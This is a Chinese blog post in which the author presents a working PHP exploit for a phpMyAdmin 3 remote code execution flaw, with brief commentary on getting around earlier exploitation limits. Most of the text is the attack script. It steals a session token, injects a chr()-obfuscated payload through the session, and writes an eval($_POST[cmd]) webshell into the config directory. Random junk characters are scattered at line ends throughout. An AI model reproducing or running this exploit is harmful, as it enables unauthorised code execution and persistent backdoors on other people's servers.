最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
# f/ l$ }3 j2 i( A) P1 Z. L0 ^% y' X2 q
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
5 O5 \ _, L+ S1 _ ~" `& {& s" B+ A5 P0 D7 ?$ n
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:4 X2 D1 {+ W6 w' H* C/ b# G
一是session.auto_start = 1;5 }; A% \' p4 t9 D: t/ Z! n
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。9 p+ G8 k3 a- [( V
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。, R5 k) c5 A; H. m2 J
# ^# E8 ^, i( U& U+ Z' {3 Y! [) Z
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。5 B3 u. u* a2 e {7 t0 W
/ [/ N& q' c+ o
于是写了这个php版本的exp,代码如下:6 I) {0 I9 @3 W% T; v3 Q: \4 ?
; d6 `" c. b% B5 Q
#!/usr/bin/php7 c: t6 u% F6 M4 d% `$ W
<?php: Z- R) N1 P( n7 G: O) @
print_r('& R G9 f3 x% I7 T
+---------------------------------------------------------------------------+9 E6 C& P/ X$ r2 y
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
$ g# s$ \& T3 g) a _5 ?by oldjun(www.oldjun.com)2 e9 I o6 \9 P( c
welcome to www.t00ls.net0 G2 {% D' g3 v9 m# H3 t! S1 `. z
mail: oldjun@gmail.com
! V/ @- g( n0 }1 VAssigned CVE id: CVE-2011-25057 x" c8 z2 N) j' |5 b% B/ N
+---------------------------------------------------------------------------+" N/ i1 d- v! b1 P. z, `* o" N8 t* o
');- D. o+ O- V1 [' m( v
( e6 t" O% n+ _/ W
/**0 ^" s. B9 ]! X. V' e
* working when the directory:"config" exists and is writeable.
4 r" [. ^0 j; z$ L**/
) k; I( _4 o: Q1 f
6 l3 \" V9 K% X" v! ]if ($argc < 3) {
) N; a. X# k0 B# @. m3 d: a8 | print_r('
. I* i0 o2 O; q6 v: V+ q# |) ^+---------------------------------------------------------------------------+7 \, u' }$ F+ |+ l/ c
Usage: php '.$argv[0].' host path
1 _( m' z% G J( e1 @7 h+ X! |host: target server (ip/hostname)) d6 r+ ?8 Z2 C3 h! L- C
path: path to pma3
5 @- }1 U9 K3 ZExample:
. s' |+ O" X5 Jphp '.$argv[0].' localhost /pma/
5 g" l' U: R: U5 L6 l) C! G+---------------------------------------------------------------------------+
; A* F x' ~ a% r! c% }+ p# J');
$ S4 o* |2 r$ o* i- t4 O exit;1 n2 e4 F. ]2 {. d3 z* L9 j5 @
}
, U$ l' i' I2 \' x9 F4 f; g! _' F; i( [% k* j
$host = $argv[1];
3 a* H8 r! W( ^& x+ q$ c8 }+ k$path = $argv[2];, I: J" h' r+ v; b
" x/ p& F* F- o$ {$ C* i
/**
# S! i2 H5 `, }( l * Try to determine if the directory:"config" exists5 b; Q6 D$ F, A/ M9 q2 E* k
**/
& {) Q" D& ^3 r$ N# d( ?echo "[+] Try to determine if the directory:config exists....\n";5 _4 H' y) X* C
$returnstr=php_request('config/');; k. g+ f- h3 j& [
if(strpos($returnstr,'404')){
; L: C8 q+ Z( d8 i' ^2 n exit("[-] Exploit Failed! The directory:config do not exists!\n");6 R- S3 B4 L3 h8 B: m
}2 x% ^) ? h) L
! O: @& F( ?6 @$ G& q/**8 b7 a) u. A/ @, z
* Try to get token and sessionid7 \& I# A0 l! D5 h4 O0 w
**/
/ e' q6 g% y* m; B! Decho "[+] Try to get token and sessionid....\n";8 G3 j1 j5 I$ v
$result=php_request('index.php');; D) E7 u6 Z5 s7 [% v
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);* ]1 K8 ^$ p; \8 }! Z& J
$token=$resp[3];! k6 M: W/ N( L/ n! Q: ]9 e
$sessionid=$resp[1];
& u, Y' x5 S+ [if($token && $sessionid){# w. g, z& Y/ k y, j1 V# \
echo "[+] token token\n";
; h8 s, E) `9 x) J, P echo "[+] Session ID sessionid\n";8 V" P4 ^$ H" O% A( P) v% A1 W
}else{! ^4 v7 A, U9 R. B! ?( @
exit("[-] Can't get token and Session ID,Exploit Failed!\n");
( L/ ]# N* C8 u9 A}
: q6 G @" f: l% i7 w. ^1 n, d4 Y; C( v7 Y/ X X
/**9 ]8 X% }/ ~0 O
* Try to insert shell into session0 K% Z; ?# E" \8 S: L
**/2 k) | U h5 X4 t) c6 f! T/ R: ~; t
echo "[+] Try to insert shell into session....\n";
* d! X; T: {% W% r6 O' Y" {+ b( w4 |; iphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here. L! }$ ~: _+ }- J$ \. s; s
0 U6 d* G) f0 A/ {" R
/**
( R# T% `' d* l/ X * Try to create webshell. \! f! r/ _/ N6 ~0 M- c# z
**/! h3 [# d s' m: z2 X2 K3 N7 ~
echo "[+] Try to create webshell....\n";1 [# J! {" ]) V e# A
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);2 h" K7 p: C6 @ L( a1 L8 S
/**2 A6 s. G0 u' }# A% s5 W
* Try to check if the webshell was created successfully% [7 @. K) j3 v9 k" I
**/2 Q9 ^8 h' a5 w
echo "[+] Try to check if the webshell was created successfully....\n";. ]7 r6 A$ D: |4 Z& i2 O0 A
$content=php_request('config/config.inc.php');4 l. b& E/ i/ ~5 \, I, E) Z d
if(strpos($content,'t00ls')){
/ E+ `9 G) B1 b5 H& b echo "[+] Congratulations! Expoilt successfully....\n";- D1 D/ e" W6 e& [) B4 |+ e4 a
echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
) z5 a! b- M* B}else{
4 F$ J. D9 }9 e; p, s exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n"); u5 u) ?' H# @1 c9 C z( C
}
% K$ ~" T0 m( Q6 @6 e# K
7 \: S" O( {+ D# g P! ?) _/ `function php_request($url,$data='',$cookie=''){
/ k- Y0 k' C$ T3 ?4 w' G global $host, $path;
8 a5 [5 O y2 T( G6 @$ w, ^
& q" K, K1 r# M! g $method=$data?'POST':'GET';. w& h3 d" t" J/ d2 H
# q7 I% K; c- Y $packet = $method." ".$path.$url." HTTP/1.1\r\n";
' [0 t+ p# s" n5 s1 B5 D $packet .= "Accept: */*\r\n";3 _% P0 t* R9 J. i- v& s
$packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
2 ]) O( D( Z5 c a4 N $packet .= "Host: $host\r\n";
9 r* ?* c. j& j. X $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";. H2 ]# Z9 D7 i3 N* R7 y6 A
$packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";3 s `* `/ @! v( y
$packet .= $cookie?"Cookie: $cookie\r\n":"";0 z: W& O) B0 Z
$packet .= "Connection: Close\r\n\r\n";: }- q" ?3 T" V" E# r! J
$packet .= $data?$data:"";
: X! g) K: l, g, M: V) R1 I1 @0 I9 N" a0 h. U6 A
$fp = fsockopen(gethostbyname($host), 80);
& T- x" m8 A5 O& ` Z7 z6 N1 p" C, X if (!$fp) {7 O% M: ?" ] t: Q& ~" y! r
echo 'No response from '.$host; die;
0 W$ x$ P% A+ W) k/ F }
$ @+ k. b5 V8 J$ D9 r fputs($fp, $packet);# P' n: `0 C3 ]& E" n
2 g- {1 m9 z7 E. k, z0 D, B
$resp = '';- U( Z6 C3 F: V1 s- i( b' F1 F
! B! o) b o; M5 } while ($fp && !feof($fp))
. |+ c* f. I& ~ $resp .= fread($fp, 1024);" y: r- ^/ a' `8 ?6 `9 ^
7 j5 W8 A2 E; ]' y$ k return $resp;
' l5 S/ m0 h( e7 r- i% i9 Y}+ C) _1 s4 j. G
; ^8 X- W5 P- c8 k0 i
?>
# q3 a7 s& ^ l8 W4 }( Z" \. |